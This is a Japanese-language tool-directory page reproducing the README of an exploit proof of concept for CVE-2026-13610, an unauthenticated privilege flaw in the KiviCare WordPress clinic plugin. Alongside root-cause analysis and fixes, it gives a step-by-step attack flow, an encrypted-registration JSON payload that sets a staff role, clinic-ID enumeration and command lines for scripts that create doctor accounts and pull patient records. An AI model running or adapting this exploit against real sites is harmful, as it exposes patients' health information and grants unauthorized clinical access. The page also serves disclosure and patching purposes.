Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-13610 — KiviCare WordPressプラグインの不適切な権限管理を悪用して、未認証の医師/受付アカウントを作成するExploit PoC。スタッフレベルのPHIアクセスを提供します。 | Kitploit
ツール/GitHubGitHub/ghostpels/cve-2026-13610
認証と認可特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubghostpels/cve-2026-13610

CVE-2026-13610

KiviCare WordPressプラグインの不適切な権限管理を悪用して、未認証の医師/受付アカウントを作成するExploit PoC。スタッフレベルのPHIアクセスを提供します。

リポジトリを見る
625日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-13610

KiviCare – Clinic & Patient Management System <= 4.5.1 — 不適切な権限管理による未認証のDoctor/Receptionistアカウント作成

CWE-269 (Improper Privilege Management) | 攻撃者が選択したスタッフロールでの未認証登録 → 患者PHIの開示


概要

KiviCare – Clinic & Patient Management System WordPressプラグイン(バージョン4.5.1以下)における重大な脆弱性で、未認証の攻撃者がdoctor(kiviCare_doctor)またはreceptionist(kiviCare_receptionist)アカウントを自由に選択したパスワードで登録し、攻撃者が選択した診療所に関連付けることができます。

この脆弱性は、公開登録エンドポイントがリクエストボディからuser_roleパラメータを直接受け取り、その検証ホワイトリストに診療所スタッフロールが含まれているために発生します。

ゲート機能結果
permission_callbackis_user_logged_in()、nonce、権限チェックなし通過する。return trueで終了
user_role ホワイトリストkiviCare_doctor、kiviCare_receptionist、kiviCare_patientを受け入れる攻撃者がスタッフロールを選択可能
patient_role_only パラメータデフォルトyesと宣言読み取られない — デッドパラメータ
reCAPTCHAif (isset($params['recaptchaToken']))の場合のみ検証パラメータを省略することでバイパスされる

脆弱性の詳細


根本原因分析

登録エンドポイント POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242)は、 checkRegistrationPermission()(:602–650)のみで保護されており、 この関数は次のように動作します。

  1. users_can_registerが有効な場合、即座にtrueを返します(認証チェックなし)。
  2. それ以外の場合はプラグイン独自のロール設定を確認しますが、デフォルトインストールでは KCOption::get()がnullを返すため、デフォルトは許可になります。
  3. 関数の最後の**return true**にフォールスルーします。

次に、register()ハンドラー(:1277–1387)はリクエストボディからuser_roleを読み取り、 KCDoctor / KCReceptionistモデルにマッピングして、$model->save()を呼び出します。 このsave()はwp_insert_user()とsetRole('kiviCare_doctor') (app/models/KCDoctor.php:136)を、認可チェックを一切行わずに実行します。 結果として作成されたアカウントは有効で、攻撃者が選択した診療所に関連付けられます。

プラグインのE2EEボディ暗号化は障壁にはなりません。ハンドシェイクエンドポイント (server-key、config/register-key)は認証不要 (app/controllers/api/ConfigController.php:190–205)のため、任意のクライアントが ゲストキーをネゴシエートして暗号化ペイロードを送信できます。

完全なウォークスルー: analysis/TECHNICAL_ANALYSIS.md


攻撃の流れ

root@kitploit:~
1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

インストール

root@kitploit:~
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

使用方法

事前チェック(ターゲット設定 + E2EEハンドシェイク)

root@kitploit:~
python preflight.py http://target.com

医師アカウントの作成(未認証)

root@kitploit:~
python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

スクリプトはトランスポートモード(プレーンJSONとE2EE暗号化)を自動検出し、--clinicが指定されていない場合は診療所IDを列挙します。

作成したアカウントで臨床データへのアクセスを証明

root@kitploit:~
python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

REST経由でログインし、アカウントのE2EEレスポンスキーを再バインドしてから、スタッフ専用エンドポイント(/patients、/appointments)を呼び出します。

オプション (exploit.py)

root@kitploit:~
--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

影響

悪用に成功すると、認証不要で実際の診療所にマッピングされた有効なスタッフアカウントが取得されます。

  • 患者PHIの読み取り/エクスポート: 医療記録、診療記録、処方箋、請求情報
  • 予約、セッション、レポート、処方箋の作成/編集/削除
  • wp-adminダッシュボードへのアクセス(read + upload_files)を持つ有効なWordPressアカウント — さらなる攻撃の足掛かり

このエンドポイントではWordPressのadministratorアカウントを作成することはできません(user_roleホワイトリストが拒否するため)が、doctorロールがあれば完全な臨床データへのアクセスに十分です。


修正方法

  1. 未認証登録者にはpatientロールを強制し、宣言されているpatient_role_onlyパラメータを適用する
  2. スタッフアカウントの作成をcurrent_user_can('create_users') + nonce検証の背後にある管理者専用エンドポイントに移す
  3. checkRegistrationPermissionでデフォルトで拒否する — フォールスルーのreturn trueを削除する
  4. reCAPTCHAが有効な場合、recaptchaTokenを必須にする(現在は任意)
  5. パッチ済みバージョンがリリースされたらすぐにKiviCareを更新する

参考情報

  • NVDエントリ
  • WordPressプラグインページ
  • 完全な技術分析
  • Patchstack.

免責事項

教育目的および許可を得たテスト目的に限ります。

このツールは、対象システムへのテストについて明示的な書面による許可を得たセキュリティ研究者およびペネトレーションテスターを対象としています。コンピュータシステムへの不正アクセスは違法です。作者はこのツールの誤用に対する一切の責任を負いません。すべての検証は作者自身のラボ環境で実施されました。


作者

ghostpels — セキュリティリサーチ & エクスプロイト開発

ライセンス

このプロジェクトはghostpels Security Research Licenseの下でライセンスされています。

ツールをダウンロード
フィールド値
CVE IDCVE-2026-13610
CWECWE-269 (Improper Privilege Management)
プラグインKiviCare – Clinic & Patient Management System
影響を受けるバージョン4.5.1以下
パッチ適用状況本分析時点では未確認
タイプスタッフロールでの未認証アカウント作成(権限昇格)
研究者Sai Praneeth Koti
公開日2026